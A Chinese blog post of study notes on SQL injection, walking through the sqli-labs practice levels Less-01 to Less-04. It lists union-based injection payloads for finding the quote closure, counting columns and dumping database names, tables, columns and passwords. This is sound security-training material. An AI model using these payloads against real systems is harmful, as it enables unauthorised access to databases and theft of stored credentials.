首页 > 数据库 >sql注入笔记(二)

sql注入笔记(二)

时间:2023-06-29 23:34:39浏览次数:31  
标签:23 union 笔记 报错 sql id select 注入

sql-labs篇


union注入

# Less-01

1. 打开环境

3

2. 先查两个值看看

?id=1
?id=2

3. 判断是否存在注入,使用一些符号进行判断,利用错误信息

?id=2'

发现报错,语法错误,“syntax to use near "2" LIMT at line 1”,意思是在2附近有错误,也就是我们输入id=2' 的时候 与查询语句的闭合方式进行了拼接导致sql语法规则错误。

这关中sql查询语句是

SELECT * FROM user WHERE id='输入值'

 我们输入了值后sql查询语句就变成了

SELECT * FROM test WHERE id='2''

 因此报错,这里还有一个问题就是输入为2"的时候并不会报错,这是因为这是一个字符型注入,sql查询语句字符型的查询只会使用单引号,sql中只支持单引号。

可以用布尔型注入判断

1‘ and 1=1 %23   #不报错
1' and 1=2 %23   #报错
?id=1' order by 4 %23     #判断字段列数
?id=1' order by 3 %23       # 为三列
?id=-1' union select 1,2,3 #查看哪些数据可以回显
?id=-1' union select  1,user(),database() %23    #查看当前用户名和数据库名
?id=-1' union select 1,2,group_concat(schema_name) from infomation_schema.schemata %23 #查看所有数据库
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='数据库名'     #查看对应数据库的表信息
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='数据库名'    #查看对应表的所有列信息
?id=-1' union select 1,2,group_concat(password) from 数据库名.表名    #查看数据

# Less-02

跟less1一样,先输入两个值进行测试,发现都能正常回显

?id=1
?id=2

输入符号 ' 进行测试,发现报错

使用布尔注入进行测试,and 1=1,发现还是报错,说明这是一个数字型注入,不用' 进行闭合。

 后面的步骤和less1一样

?id=1 order by 4 #不报错,但查询不到
?id=1 order by 3 #正常回显
?id=-1 union select 1,user(),database() #查询用户、数据库信息
#后面和less 1一样,爆数据库名,表名,列名,数据

# Less-03

?id=1' 

 使用转义符 \ 进行测试,发现是')闭合,确认闭合方式后,爆破流程和第一关一样。

# Less-04

“)闭合。


 

Boolean注入

# Less-05

 

标签:23,union,笔记,报错,sql,id,select,注入
From: https://www.cnblogs.com/Focu4/p/17512931.html

相关文章

  • C语言学习笔记:1~10章---基本知识
    基本知识2023-06-2923:14:18 1#include<stdio.h>2intmain(void)/*asimpleprogram*/3{4intnum;/*defineavariablecallednum*/5num=1;/*assignavaluetonum......
  • 12 | 为什么我的MySQL会“抖”一下?
    一下内容出自《MySQL实战45讲》12|为什么我的MySQL会“抖”一下?一条SQL语句,正常执行的时候特别快,但是有时也不知道怎么回事,它就会变得特别慢,并且这样的场景很难复现,它不只随机,而且持续时间还很短。看上去,这就像是数据库“抖”了一下。这个时候,MySQL可能是在刷脏页(fl......
  • celery笔记九之task运行结果查看
    本文首发于公众号:Hunter后端原文链接:celery笔记九之task运行结果查看这一篇笔记介绍一下celery的task运行之后结果的查看。前面我们使用的配置是这样的:#settings.pyCELERY_RESULT_BACKEND="redis://localhost/1"是将task的运行结果保存在redis的第二个数据......
  • C# ModbusRtu或者TCP协议上位机源码,包括存储,数据到SQL SERVER数据库,趋势曲线图,数据报
    C#ModbusRtu或者TCP协议上位机源码,包括存储,数据到SQLSERVER数据库,趋势曲线图,数据报表,实时和历史报警界面,有详细注释,需要哪个协议版本原创文章,转载请说明出处,资料来源:http://imgcs.cn/5c/655313350668.html......
  • ubuntu 18.04.1安装mysql8
    sudoaptupdatesudoaptinstallmysql-serversudosystemctlstatusmysqlsudomysqlALTERUSER'root'@'localhost'IDENTIFIEDWITHmysql_native_passwordBY'password';FLUSHPRIVILEGES;createuser'testuser'@......
  • C# opc ua客户端实例源码,带ef6+sqlite
    C#opcua客户端实例源码,带ef6+sqlite。代码有完整的注解,及包括所有的链接库和程序结构思维图。纯学习资料原创文章,转载请说明出处,资料来源:http://imgcs.cn/5c/638904489888.html......
  • day114- 动态sql
    动态SQL解决拼接SQL语句字符串时的问题。if标签if标签可通过test属性的表达式进行判断,若表达式的结果为true,则标签中的内容会执行;反之标签中的内容不会执行<!--List<Emp>getEmpByCondition(Empemp);--><selectid="getEmpByCondition"resultType="com.gu.mybatis.poj......
  • eggjs连接MySQL数据库
     前言:eggjs连接MySQL数据库,我摸索了各种方式。下面这篇文章能正确链上。 我犯过的几个错误:1,config/plugin.js中我填写错误,这是最致命的,导致直接读不到MySQL。官方文档不靠谱,如下所示//config/plugin.jsexports.mysql={  enable:true,  package:'egg-mysql',};......
  • 谷歌云:全面推出 AlloyDB for PostgreSQL 与数据库迁移服务
    【本文由CloudAce整理发布。CloudAce是谷歌云全球战略合作伙伴,拥有300多名工程师,也是谷歌最高级别合作伙伴,多次获得GoogleCloud合作伙伴奖。作为谷歌托管服务商,我们提供谷歌云、谷歌地图、谷歌办公套件、谷歌云认证培训服务。】2022年12月,谷歌云宣布全面推出AlloyDB......
  • mysql通过表分区来增加数据查询效率
    背景我们mysql是单机,其中有几个表体积会很大,需要做分表来增加查询效率.我们的数据是连续不断入库的,查询条件是一个批次一个批次的查,也可以看做是按时间段查询.思路mysql事件Event:到一定时间把原表改名,加一个后缀,比如user表改为user_1RENAMETABLEdivision_stop_......